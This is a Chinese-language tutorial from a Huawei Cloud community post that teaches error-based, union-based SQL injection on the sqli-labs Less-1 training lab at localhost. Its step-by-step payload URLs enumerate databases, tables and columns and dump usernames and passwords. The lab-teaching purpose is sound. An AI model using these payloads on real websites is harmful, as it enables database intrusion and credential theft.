渗透测试基础 - - -SQL注入利用

举报
yd_217360808 发表于 2022/10/08 16:03:01 2022/10/08
【摘要】 承接上文的SQL注入,以web安全中的SQL语句为了,以sqli-labs的Less-1为例子,详细解释了SQL语句的利用。

一,GET显错注入

1)GET显错注入流程

01  获取字段数           order by x
02  获取显示位           union select 1,2,3,4……
03  获取数据库信息   version() , user() , @@datadir
04  获取当前数据库   database() , schema() ,
05  获取所有数据库
06  获取数据库表
07  获取所有字段
08  获取数据

2)准备知识 

逻辑运算符: and 、 or 、 !=
注意:!!!
and :并且,前后两条语句必须全为真,才为真,否则为假。
如:
1=1 and 2=2 真
1=1 and 1=2 假
 or :或者,前后两条语句一条为真,就为真。
  != :不等于。
--+ 注释符
limit 0,1                               从你表中的第一个数据开始,只读取一个
order by                              排序,判断字段数量,也就是表的列数
union select                        联合查询,连接前面语句,起着合并查询的作用
group_concat                     合并多行数据到一行
version()                             当前数据库版本
database()                          当前数据库
@@datadir                         数据库数据路径
@@version_compile_os   操作系统版本

3)举例:基于错误的GET单引号字符型注入

1,判断注入点

 http://127.0.0.1/sqli/Less-1/?id=1

 2.判断闭合字符

 http://127.0.0.1/sqli/Less-1/?id=1

输入单引号 ‘   出现报错信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
您的SQL语法有错误;请查看与您的MySQL服务器版本对应的手册,以了解要在第1行的“”1“”限制0,1“”附近使用的正确语法
可以看出1’1"引用,所以对应的字符应该为" 

进行and逻辑测试

http://127.0.0.1/sqli/Less-1/?id=1’ and 1=1 --+

3.根据order判断sql语句的查询列数

  http://127.0.0.1/sqli/Less-1/?id=1' order by 5 --+

 报错为:Unknown column '5' in 'order clause' 

              “Order子句”中的未知列“%5”

从 5向下一词尝试,最终得到正确列数为3

http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+

4.联合查询活得显示位

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+

5.获取当前数据库

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,(select database()),3 --+

 6.获取所有数据库

http://127.0.0.1/sqli/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata --+

7. 获取当前数据库表名:

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

 8.获取users表所有字段:

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users‘ --+

9. 获取security.users表所有字段

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+

 10.获取security.users表所有字段内容:

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,':',password) from users --+

 concat用法:

1. 功能:将多个字符串连接成一个字符串。
2. 语法: concat(str1, str2,...)

concat_ws用法

1. 功能:和 concat() 一样,将多个字符串连接成一个字符串,但是可以一次性指定
分隔符( concat_ws 就是 concat with separator )
2. 语法: concat_ws(separator, str1, str2, ...)

group_concat用法:

1. 功能:将 group by 产生的同一个分组中的值连接起来,返回一个字符串结果。
2. 语法: group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ' 分隔符 '] )

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。